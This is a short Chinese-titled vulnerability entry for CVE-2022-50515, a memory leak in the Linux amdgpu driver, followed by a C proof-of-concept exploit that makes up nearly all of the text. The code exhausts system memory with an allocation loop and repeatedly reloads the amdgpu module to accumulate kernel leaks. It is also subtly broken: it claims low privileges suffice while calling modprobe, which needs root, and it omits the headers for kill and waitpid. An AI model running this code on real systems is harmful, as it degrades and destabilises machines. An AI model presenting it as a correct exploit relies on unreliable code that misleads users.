CVE-2022-50515 Linux内核amdgpu驱动hpd_rx_irq内存泄漏漏洞

// PoC for CVE-2022-50515 - Linux Kernel amdgpu memory leak // This PoC demonstrates the memory leak by repeatedly triggering // amdgpu module initialization under memory pressure conditions. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> /* * The vulnerability exists in hpd_rx_irq_create_workqueue() in * drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c * * When workqueue creation fails mid-loop, previously created * workqueues are not destroyed, causing memory leaks. * * To trigger this PoC: * 1. Run with low privileges (PR:L required) * 2. Create memory pressure to force alloc_workqueue() to fail * 3. Reload the amdgpu module to trigger hpd_rx_irq_create_workqueue() */ int main(int argc, char *argv[]) { int ret; pid_t pid; printf("CVE-2022-50515 PoC - amdgpu memory leak\n"); /* Fork a process to consume memory and create pressure */ pid = fork(); if (pid == 0) { /* Child: consume memory to create pressure */ size_t total = 0; while (1) { void *p = malloc(1024 * 1024); /* 1MB chunks */ if (!p) break; memset(p, 0, 1024 * 1024); total += 1024 * 1024; } printf("Consumed %zu bytes of memory\n", total); pause(); return 0; } /* Wait for memory pressure to build up */ sleep(2); /* Try to reload amdgpu module to trigger the vulnerable code path */ printf("Attempting to reload amdgpu module...\n"); ret = system("modprobe -r amdgpu 2>/dev/null"); if (ret != 0) { printf("Failed to remove amdgpu module (may not be loaded)\n"); } ret = system("modprobe amdgpu 2>/dev/null"); if (ret != 0) { printf("Failed to load amdgpu module\n"); kill(pid, SIGKILL); return 1; } printf("Module reloaded. Check kernel memory for leaks.\n"); printf("Repeat the process to accumulate memory leaks.\n"); /* Clean up */ kill(pid, SIGKILL); waitpid(pid, NULL, 0); return 0; }